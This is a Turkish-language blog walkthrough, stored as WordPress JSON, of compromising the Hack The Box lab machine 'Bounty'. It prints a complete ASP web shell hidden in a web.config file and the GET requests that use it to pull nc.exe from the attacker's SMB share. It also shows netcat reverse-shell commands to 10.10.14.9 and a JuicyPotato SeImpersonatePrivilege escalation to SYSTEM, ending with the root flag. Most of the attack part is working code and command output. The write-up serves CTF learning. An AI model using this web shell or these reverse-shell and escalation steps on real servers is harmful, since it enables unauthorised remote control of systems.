{"id":1454,"date":"2021-08-02T18:12:25","date_gmt":"2021-08-02T18:12:25","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1454"},"modified":"2021-08-02T18:14:51","modified_gmt":"2021-08-02T18:14:51","slug":"bounty","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/08\/02\/bounty\/","title":{"rendered":"Bounty"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Bounty<\/a> – HTB<\/td>\nOrta<\/td>\nWindows<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n

PORT   STATE SERVICE VERSION\n80\/tcp open  http    Microsoft IIS httpd 7.5\n| http-methods: \n|_  Potentially risky methods: TRACE\n|_http-server-header: Microsoft-IIS\/7.5\n|_http-title: Bounty\nService Info: OS: Windows; CPE: cpe:\/o:microsoft:windows\n<\/code><\/pre>\n
Sadece 80 var ve bunun \u00fczerine nikto ve gobuster \u00e7al\u0131\u015ft\u0131rd\u0131m. nikto bir \u015fey bulmad\u0131 ama gobuster buldu.<\/p>\n
ter dir --url http:\/\/10.10.10.93 --add-slash --expanded --follow-redirect --status-codes-blacklist 404 --extensions txt,js,asp,aspx,html,png,jpg --timeout 20s -t 50 -w \/usr\/share\/wordlists\/dirb\/big.txt --no-error  | tee gobuster11\n\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/10.10.10.93\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              html,png,jpg,txt,js,asp,aspx\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 20s\n===============================================================\n2021\/08\/02 09:33:07 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/10.10.10.93\/aspnet_client\/       (Status: 403) [Size: 1233]\nhttp:\/\/10.10.10.93\/merlin.jpg           (Status: 200) [Size: 780732]\nhttp:\/\/10.10.10.93\/transfer.aspx        (Status: 200) [Size: 941]   \nhttp:\/\/10.10.10.93\/uploadedfiles\/       (Status: 403) [Size: 1233]  \nhttp:\/\/10.10.10.93\/welcome.png          (Status: 200) [Size: 184946]\n<\/code><\/pre>\n
IIS 7’den sonra web.config’lerin \u00f6nemi b\u00fcy\u00fck ve http:\/\/10.10.10.93\/transfer.aspx<\/a><\/strong> sayfas\u0131ndan web.config dosyas\u0131 y\u00fckleyebildi\u011fimi g\u00f6rd\u00fcm. Bunun \u00fczerine https:\/\/gist.github.com\/gazcbm\/ea7206fbbad83f62080e0bbbeda77d9c<\/a><\/strong> sayfas\u0131ndaki web.config’lerden web shell olan\u0131 kulland\u0131m. Kodu a\u015fa\u011f\u0131dad\u0131r.<\/p>\n
<?xml version="1.0" encoding="UTF-8"?>\n<configuration>\n   <system.webServer>\n      <handlers accessPolicy="Read, Script, Write">\n         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\\system32\\inetsrv\\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" \/>         \n      <\/handlers>\n      <security>\n         <requestFiltering>\n            <fileExtensions>\n               <remove fileExtension=".config" \/>\n            <\/fileExtensions>\n            <hiddenSegments>\n               <remove segment="web.config" \/>\n            <\/hiddenSegments>\n         <\/requestFiltering>\n      <\/security>\n   <\/system.webServer>\n<\/configuration>\n<!--\n<% Response.write("-"&"->")%>\n<%\nSet oScript = Server.CreateObject("WSCRIPT.SHELL")\nSet oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")\nSet oFileSys = Server.CreateObject("Scripting.FileSystemObject")\nFunction getCommandOutput(theCommand)\n    Dim objShell, objCmdExec\n    Set objShell = CreateObject("WScript.Shell")\n    Set objCmdExec = objshell.exec(thecommand)\n    getCommandOutput = objCmdExec.StdOut.ReadAll\nend Function\n%>\n<BODY>\n<FORM action="" method="GET">\n<input type="text" name="cmd" size=45 value="<%= szCMD %>">\n<input type="submit" value="Run">\n<\/FORM>\n<PRE>\n<%= "\\\\" & oScriptNet.ComputerName & "\\" & oScriptNet.UserName %>\n<%Response.Write(Request.ServerVariables("server_name"))%>\n<p>\n<b>The server's port:<\/b>\n<%Response.Write(Request.ServerVariables("server_port"))%>\n<\/p>\n<p>\n<b>The server's software:<\/b>\n<%Response.Write(Request.ServerVariables("server_software"))%>\n<\/p>\n<p>\n<b>The server's software:<\/b>\n<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>\n<% szCMD = request("cmd")\nthisDir = getCommandOutput("cmd \/c" & szCMD)\nResponse.Write(thisDir)%>\n<\/p>\n<br>\n<\/BODY>\n<%Response.write("<!-"&"-") %>\n-->\n<\/code><\/pre>\n
Bu noktadan sonra kalimde bir smb ba\u015flat\u0131m i\u00e7eriye nc.exe yollad\u0131m. \u0130zledi\u011fim get istekleri a\u015fa\u011f\u0131daki gibi…<\/p>\n
http:\/\/10.10.10.93\/uploadedfiles\/web.config\nhttp:\/\/10.10.10.93\/uploadedfiles\/web.config?cmd=copy+%5C%5C10.10.14.9%5CKUDAY%5Cnc.exe+C%3A%5CWindows%5CTemp%5Cnc.exe\nhttp:\/\/10.10.10.93\/uploadedfiles\/web.config?cmd=dir+C%3A%5CWindows%5CTemp<\/code><\/pre>\n
Yukar\u0131daki dir komutunun \u00e7\u0131kt\u0131s\u0131:<\/p>\n
10.10.10.93 Volume in drive C has no label.\n Volume Serial Number is 5084-30B0\n\n Directory of C:\\Windows\\Temp\n\n08\/02\/2021  05:32 PM    \n          .\n08\/02\/2021  05:32 PM              ..\n05\/30\/2018  03:19 AM                 0 DMI5FAC.tmp\n08\/02\/2021  05:23 PM            28,160 nc.exe\n06\/10\/2018  03:44 PM           203,777 vminst.log\n06\/10\/2018  03:44 PM              vmware-SYSTEM\n06\/11\/2018  12:47 AM            55,269 vmware-vmsvc.log\n06\/11\/2018  12:47 AM            22,447 vmware-vmusr.log\n08\/02\/2021  03:17 PM               910 vmware-vmvss.log\n               6 File(s)        310,563 bytes\n               3 Dir(s)  11,784,142,848 bytes free<\/code><\/pre>\n
C:\\Windows\\Temp\\nc.exe -e cmd.exe 10.10.14.9 4444<\/strong> payload\u0131 ile makineye ba\u011fland\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Bounty]\n\u2514\u2500# nc -lvp 4444                             \nlistening on [any] 4444 ...\n10.10.10.93: inverse host lookup failed: Unknown host\nconnect to [10.10.14.9] from (UNKNOWN) [10.10.10.93] 49159\nMicrosoft Windows [Version 6.1.7600]\nCopyright (c) 2009 Microsoft Corporation.  All rights reserved.\n\nc:\\windows\\system32\\inetsrv>whoami\nwhoami\nbounty\\merlin<\/code><\/pre>\n
\nC:\\Users>cmd.exe \/c systeminfo \ncmd.exe \/c systeminfo \n\nHost Name:                 BOUNTY\nOS Name:                   Microsoft Windows Server 2008 R2 Datacenter \nOS Version:                6.1.7600 N\/A Build 7600\nOS Manufacturer:           Microsoft Corporation\nOS Configuration:          Standalone Server\nOS Build Type:             Multiprocessor Free\nRegistered Owner:          Windows User\nRegistered Organization:   \nProduct ID:                55041-402-3606965-84760\nOriginal Install Date:     5\/30\/2018, 12:22:24 AM\nSystem Boot Time:          8\/2\/2021, 3:17:13 PM\nSystem Manufacturer:       VMware, Inc.\nSystem Model:              VMware Virtual Platform\nSystem Type:               x64-based PC\nProcessor(s):              1 Processor(s) Installed.\n                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz\nBIOS Version:              Phoenix Technologies LTD 6.00, 12\/12\/2018\nWindows Directory:         C:\\Windows\nSystem Directory:          C:\\Windows\\system32\nBoot Device:               \\Device\\HarddiskVolume1\nSystem Locale:             en-us;English (United States)\nInput Locale:              en-us;English (United States)\nTime Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul\nTotal Physical Memory:     2,047 MB\nAvailable Physical Memory: 1,546 MB\nVirtual Memory: Max Size:  4,095 MB\nVirtual Memory: Available: 3,570 MB\nVirtual Memory: In Use:    525 MB\nPage File Location(s):     C:\\pagefile.sys\nDomain:                    WORKGROUP\nLogon Server:              N\/A\nHotfix(s):                 N\/A\nNetwork Card(s):           1 NIC(s) Installed.\n                           [01]: Intel(R) PRO\/1000 MT Network Connection\n                                 Connection Name: Local Area Connection\n                                 DHCP Enabled:    No\n                                 IP address(es)\n                                 [01]: 10.10.10.93<\/code><\/pre>\n
Windows-Exploit-Suggester ile baz\u0131 a\u00e7\u0131klar \u00e7\u0131kt\u0131 ancak hak y\u00fckseltemedim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Bounty]\n\u2514\u2500# python2 \/root\/tool\/Windows-Exploit-Suggester\/windows-exploit-suggester.py -i systeminfo -d \/root\/tool\/Windows-Exploit-Suggester\/2021-07-28-mssb.xls | tee windows-exploit-suggester\n[*] initiating winsploit version 3.3...\n[*] database file detected as xls or xlsx based on extension\n[*] attempting to read from the systeminfo input file\n[+] systeminfo input file read successfully (ascii)\n[*] querying database file for potential vulnerabilities\n[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits\n[*] there are now 197 remaining vulns\n[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin\n[+] windows version identified as 'Windows 2008 R2 64-bit'\n[*] \n[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical\n[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important\n[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical\n[*]   http:\/\/www.exploit-db.com\/exploits\/35273\/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC\n[*]   http:\/\/www.exploit-db.com\/exploits\/34815\/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC\n[*] \n[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important\n[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important\n[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical\n[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important\n[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important\n[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical\n[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical\n[*] done\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Bounty]\n\u2514\u2500# cat windows-exploit-suggester | grep Privilege | grep Kernel\n[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important\n[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important\n[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important\n[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important\n<\/code><\/pre>\n
Sulu patatasssss<\/p>\n
C:\\Windows\\Temp>whoami \/priv\nwhoami \/priv\n\nPRIVILEGES INFORMATION\n----------------------\n\nPrivilege Name                Description                               State   \n============================= ========================================= ========\nSeAssignPrimaryTokenPrivilege Replace a process level token             Disabled\nSeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled\nSeAuditPrivilege              Generate security audits                  Disabled\nSeChangeNotifyPrivilege       Bypass traverse checking                  Enabled \nSeImpersonatePrivilege        Impersonate a client after authentication Enabled \nSeIncreaseWorkingSetPrivilege Increase a process working set            Disabled\n<\/code><\/pre>\n
Process ba\u015flatmak i\u00e7in bat dosyam\u0131 oluy\u015fturdum. \u015eimdi taklit etme zaman\u0131.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Bounty]\n\u2514\u2500# cat kuday.bat                        \nC:\\Windows\\Temp\\nc.exe -e cmd.exe 10.10.14.9 1111<\/code><\/pre>\n
JuicyPotato.exe’yi indirelim ve Windows’a atal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Bounty]\n\u2514\u2500# wget https:\/\/github.com\/ohpe\/juicy-potato\/releases\/download\/v0.1\/JuicyPotato.exe               \n--2021-08-02 14:02:56--  https:\/\/github.com\/ohpe\/juicy-potato\/releases\/download\/v0.1\/JuicyPotato.exe\nResolving github.com (github.com)... 140.82.121.3\nConnecting to github.com (github.com)|140.82.121.3|:443... connected.\nHTTP request sent, awaiting response... 302 Found\nLocation: https:\/\/github-releases.githubusercontent.com\/142582717\/538c8db8-9c94-11e8-84e5-46a5d9473358?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210802%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210802T180255Z&X-Amz-Expires=300&X-Amz-Signature=29a98f778c06a3de211464cf9b3e3bb6aa3544a9fcb1f6da7de5815a0c7a7efd&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=142582717&response-content-disposition=attachment%3B%20filename%3DJuicyPotato.exe&response-content-type=application%2Foctet-stream [following]\n--2021-08-02 14:02:57--  https:\/\/github-releases.githubusercontent.com\/142582717\/538c8db8-9c94-11e8-84e5-46a5d9473358?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210802%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210802T180255Z&X-Amz-Expires=300&X-Amz-Signature=29a98f778c06a3de211464cf9b3e3bb6aa3544a9fcb1f6da7de5815a0c7a7efd&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=142582717&response-content-disposition=attachment%3B%20filename%3DJuicyPotato.exe&response-content-type=application%2Foctet-stream\nResolving github-releases.githubusercontent.com (github-releases.githubusercontent.com)... 185.199.108.154, 185.199.109.154, 185.199.110.154, ...\nConnecting to github-releases.githubusercontent.com (github-releases.githubusercontent.com)|185.199.108.154|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 347648 (340K) [application\/octet-stream]\nSaving to: \u2018JuicyPotato.exe\u2019\n\nJuicyPotato.exe                                             100%[=========================================================================================================================================>] 339.50K  1.83MB\/s    in 0.2s    \n\n2021-08-02 14:02:57 (1.83 MB\/s) - \u2018JuicyPotato.exe\u2019 saved [347648\/347648]\n<\/code><\/pre>\n
C:\\Windows\\Temp>copy \\\\10.10.14.9\\KUDAY\\JuicyPotato.exe .\ncopy \\\\10.10.14.9\\KUDAY\\JuicyPotato.exe .\n        1 file(s) copied.\n<\/code><\/pre>\n
\u015eimdi dinleme noktas\u0131 ba\u015flatal\u0131m ve taklit edelim.<\/p>\n
C:\\Windows\\Temp>JuicyPotato.exe -t * -p kuday.bat -l 4444\nJuicyPotato.exe -t * -p kuday.bat -l 4444\nTesting {4991d34b-80a1-4291-83b6-3328366b9097} 4444\n....\n[+] authresult 0\n{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\\SYSTEM\n\n[+] CreateProcessWithTokenW OK\n<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Bounty]\n\u2514\u2500# nc -nlvp 1111                                                                                                                                                                                                                       130 \u2a2f\nlistening on [any] 1111 ...\nconnect to [10.10.14.9] from (UNKNOWN) [10.10.10.93] 49187\nMicrosoft Windows [Version 6.1.7600]\nCopyright (c) 2009 Microsoft Corporation.  All rights reserved.\n\nC:\\Windows\\system32>whoami\nwhoami\nnt authority\\system\n\nC:\\Windows\\system32>cd C:\\Users\\Administrator\\Desktop\ncd C:\\Users\\Administrator\\Desktop\n\nC:\\Users\\Administrator\\Desktop>type  root.txt\ntype  root.txt\nc837f7b699feef5475a0c079f9d4f5ea\n<\/code><\/pre>\n
Kaynaklar<\/h2>\n
https:\/\/github.com\/ohpe\/juicy-potato\/tree\/master\/CLSID<\/a>
\nhttps:\/\/docs.securezombie.com\/privilege-escalation\/untitled<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Bounty – HTB Orta Windows Walkthrough nmap taramas\u0131 ile ba\u015flayal\u0131m. PORT STATE SERVICE VERSION 80\/tcp open http Microsoft IIS httpd…<\/p>\n
Devam\u0131n\u0131 okuBounty<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498,468],"tags":[593,594,595],"class_list":["post-1454","post","type-post","status-publish","format-standard","hentry","category-walkthrough","category-windows","tag-juicypotato-exe","tag-seimpersonateprivilege","tag-web-config","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1454","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1454"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1454\/revisions"}],"predecessor-version":[{"id":1457,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1454\/revisions\/1457"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1454"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1454"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1454"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}